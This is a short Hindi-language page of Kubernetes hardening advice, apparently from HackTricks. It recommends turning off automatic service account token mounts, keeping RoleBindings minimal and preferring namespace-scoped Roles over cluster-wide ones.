सर्वोत्तम प्रथाएँ

सेवा खाता टोकन का स्वचालित माउंट अक्षम करना

  • पॉड्स और सेवा खाते: डिफ़ॉल्ट रूप से, पॉड्स एक सेवा खाता टोकन माउंट करते हैं। सुरक्षा को बढ़ावा देने के लिए, Kubernetes इस स्वचालित माउंट सुविधा को अक्षम करने की अनुमति देता है।

  • कैसे लागू करें: Kubernetes संस्करण 1.6 से शुरू होकर सेवा खातों या पॉड्स के कॉन्फ़िगरेशन में automountServiceAccountToken: false सेट करें।

RoleBindings/ClusterRoleBindings में प्रतिबंधक उपयोग

  • चयनात्मक समावेश: सुनिश्चित करें कि केवल आवश्यक उपयोगकर्ता RoleBindings या ClusterRoleBindings में शामिल हैं। नियमित रूप से असंगत उपयोगकर्ताओं को हटाने के लिए मंजिल सुरक्षा बनाए रखने के लिए।

नेमस्पेस-विशेष भूमिकाएँ क्लस्टर-व्यापी भूमिकाओं से अधिक

  • भूमिकाएँ बनाम क्लस्टर-भूमिकाएँ: क्लस्टर-व्यापी लागू होने वाली भूमिकाओं और क्लस्टर-भूमिका-बाइंडिंग्स की बजाय नेमस्पेस-विशेष अनुमतियों के लिए Roles और RoleBindings का प्रयोग करने की प्राथमिकता दें। यह दृष्टिकोण अधिक नियंत्रण प्रदान करता है और अनुमतियों की दायरा को सीमित करता है।

स्वचालित उपकरणों का उपयोग करें

संदर्भ

हैकट्रिक्स का समर्थन करें

Last updated